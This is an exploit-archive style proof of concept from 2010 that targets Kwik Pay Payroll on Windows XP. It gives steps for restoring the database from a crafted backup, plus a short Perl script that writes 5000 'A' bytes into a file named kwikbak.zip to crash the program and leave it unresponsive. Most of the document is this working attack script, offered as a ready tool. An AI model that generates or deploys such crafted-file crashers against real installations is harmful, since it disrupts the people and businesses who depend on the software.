# Exploit Title: Kwik Pay Payroll .zip DoS
# Date: April 1, 2010
# Tested on: Windows XP SP3
# Cost: 100.00 AU
# Author: chap0
# Email: chap0x90[at]gmail[dot]com
# Site: [http://www.setfreesecurity.com]
#
# File -> Restore Database -> Find
# Locate zip file
# Click the restore button at the bottom
# Program Crash, and becomes unresponsive
#
# Happy April fools but no Joke here
#
# Phil 4:13
#
#!/usr/bin/perl
 
 
print "Generating nasty Backup\n";
 
my $data = "\x41" x 5000;
my $zip = "kwikbak.zip";
 
open (FILE, ">$zip");
print FILE "$data";
 
print "Done. . .\n"